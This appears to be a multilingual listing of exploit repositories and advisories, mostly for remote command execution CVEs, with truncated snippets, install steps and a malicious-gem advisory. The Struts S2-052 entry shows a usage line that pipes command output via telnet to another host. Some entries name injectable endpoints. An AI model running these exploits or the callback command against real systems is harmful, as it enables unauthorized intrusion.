-CVE-2017-9805

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。 用法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creati...

CVE-2020-11651

CVE-2020-11651 SaltStack Salt 在 2019.2.4 之前版本以及 3000 在 3000.2 之前版本中发现了一个问题。salt-master 进程中的 ClearFuncs 类未能正确验证方法调用。这允许远程用户在没有认证的情况下访问某些方法。这些方法可用于从 salt master 检索用户令牌，以及/或者在 salt minions 上执行任意命令。 详情 补丁 适用于不受支持的 salt 版本 安装 git clone https://github.com/0xc0d/CVE-2020-11651.git /CVE-2020-11651 chmod ...

CVE-2021-22205

漏洞影响 发现GitLab CE/EE从11.9版本起存在一个漏洞。GitLab未正确验证传递给文件解析器的图像文件，导致远程命令执行。 漏洞产品 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://assets.kitploit.com/production/public/readmes/15112/49b6...

CVE-2025-24893-PoC

CVE-2025-24893 – XWiki远程命令执行（概念验证） 概述 本仓库包含一个针对CVE-2025-24893 的受控概念验证（PoC） ，该漏洞是影响XWiki 的未认证远程命令执行（RCE）漏洞。 由于不安全的服务器端模板和脚本评估，该漏洞允许攻击者在服务器上执行任意操作系统命令。 关于 XWiki XWiki是一个开源的企业级维基平台，常用于： 内部文档 知识库 团队协作门户 由于XWiki经常部署在面向互联网的服务器 上，其请求处理和脚本逻辑中的安全漏洞可能产生严重的现实影响。 漏洞摘要 CVE ID: CVE-2025-24893 类别：...

Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17568 Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424：1Panel 客户端证书绕过RCE漏洞 一体化工具 扫描+利用 漏洞简介 1Panel 是一个开源、现代化的 Linux 运维管理面板，提供图形化界面用于部署网站、管理服务器和运行服务。 受影响版本中，Agent 端 TLS 认证策略为 tls.RequireAnyClientCert，仅要求提供证书但不验证其可信性。攻击者可通过自签名证书绕过 TLS 校验，并伪造CN字段为panelclient，绕过应用层校验。最终攻击者可伪造证书进行未授权命令执行接口调用，导致远程命令执行漏洞。 影响版本...

CVE-2024-24590

Exploit de ClearML Este repositorio contiene un exploit de prueba de concepto para una vulnerabilidad de deserialización en ClearML, que permite la ejecución remota de comandos. Este exploit demuestra cómo cargar un artefacto pickle malicioso en ClearML para obtener una reverse shell. Requisitos...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 针对 CVE-2023-4596 的 PoC 脚本，一个高效的 Python 工具，用于通过任意文件上传执行未经身份验证的远程命令执行。 资源 安装 使用方法 免责声明 安装 git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version pip install -r requirements.txt 使用方法 pytho...

Sangfor-CVE-2025-12916

Sangfor-CVE-2025-12916 深信服CVE-2025-12916远程命令执行漏洞批量检测工具 || 作者：金夏安全 深信服OSM漏洞批量检测工具 一款针对深信服运维安全管理系统OSM CVE-2025-12916 远程命令执行漏洞的批量检测工具。 🚨 漏洞信息 漏洞编号 : CVE-2025-12916 漏洞类型 : 远程命令执行 影响版本 : 深信服OSM 3.0.12 20241106 漏洞文件 : /fort/portallogin 漏洞参数 : loginUrl ✨ 功能特点 🚀 多线程批量检测 ⏹️ 支持Ctrl+C优雅停止 📊 实时进度显示 💾 自动保存结果 🔍...

Erlang-OTP-PoC_CVE-2025-32433

Erlang/OTP SSH 预认证通道混淆漏洞 📺 概念验证视频 说明： 演示 Erlang/OTP SSH 预认证通道混淆漏洞。 点击此处观看 YouTube 完整演示 摘要 此 PoC 是关于什么的？ 此概念验证演示了 CVE-2025-32433 ，这是 Erlang/OTP SSH 服务器实现 中的一个漏洞，允许攻击者在 认证之前 打开 SSH 通道并执行命令。 由于 SSH 协议状态转换的执行不严格，某些 SSH 消息（SSHMSGCHANNELOPEN 和 SSHMSGCHANNELREQUEST）在 用户认证成功完成之前 被接受。这导致完整的 认证绕过 和 远程命令执行 ...

evil-winrm-py

evil-winrm-py evil-winrm-py es una herramienta basada en Python para ejecutar comandos en máquinas Windows remotas utilizando el protocolo WinRM Windows Remote Management. Proporciona un shell interactivo con características mejoradas como carga/descarga de archivos con progreso y verificación de...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Flowise < 3.0.1 - Remote Command Execution

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls RBAC. Furthermore, in Flowise versions before 3.0.1 the...

Motorola Baby Monitors - Remote Command Execution

Motorola Baby Monitors contains multiple interface vulnerabilities could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-3577 info: name: Motorola Baby Monitors - Remote Command Execution author: gy741 severity: high...

Yachtcontrol Webapplication 1.0 - Remote Command Injection

Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command=COMMAND" page and parameter, where COMMAND will be executed and returning the results to the client. Affects Yachtcontrol webservers...

OpenSMTPD-CVE-2020-7247-

Vulnerabilidad de ejecución remota de comandos en OpenSMTPD CVE-2020-7247 WHS 4기 박솔민 Enlace original: https://github.com/vulhub/vulhub/blob/43eae7170d09e7748c3aac64cd6a8e5af508a8ef/opensmtpd/CVE-2020-7247/README.md Resumen OpenSMTPD es un programa servidor SMTP utilizado en sistemas operativos ti...

CVE-2025-54068

CVE-2025-54068 一个设计用于利用 CVE-2025-54068 并在已知 Livewire 项目的 APPKEY 时实现远程命令执行的工具。 此工具是 Synacktiv 原始项目的重新编码版本： Livepyre — https://github.com/synacktiv/Livepyre 核心概念和方法基于原始实现。 此版本包含微小增强和附加功能，以提高可用性和灵活性。 安装 使用 pipx 安装该工具： pipx install git+https://github.com/haxorstars/CVE-2025-54068 或使用 uv： uv tool...

CVE-2021-21300

CVE-2021-21300 git多个版本中，对符号链接处理不严格。在大小写敏感（例如Linux）的文件系统上传文件到git后，使用大小写不敏感文件系统（例如Windows）的主机克隆恶意 仓库时可能导致远程命令执行 。 受影响版本 从 2.15 至 现有的 2.30.1 解决方案 1、升级版本 2、如下 禁用git 的symlink： git config --global core.symlinks false 禁用 process filter 通常是 LFS 使用此功能，可以通过 git config --show-scope --get-regexp...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Ejecución Remota de Comandos en Bitbucket RCE Análisis Técnico y Explotación en Laboratorio de Inyección de Argumentos con Byte Nulo Resumen de la Vulnerabilidad CVE-2022-36804 es una vulnerabilidad de Inyección de Argumentos alta/crítica dentro de la API REST de Atlassian Bitbuck...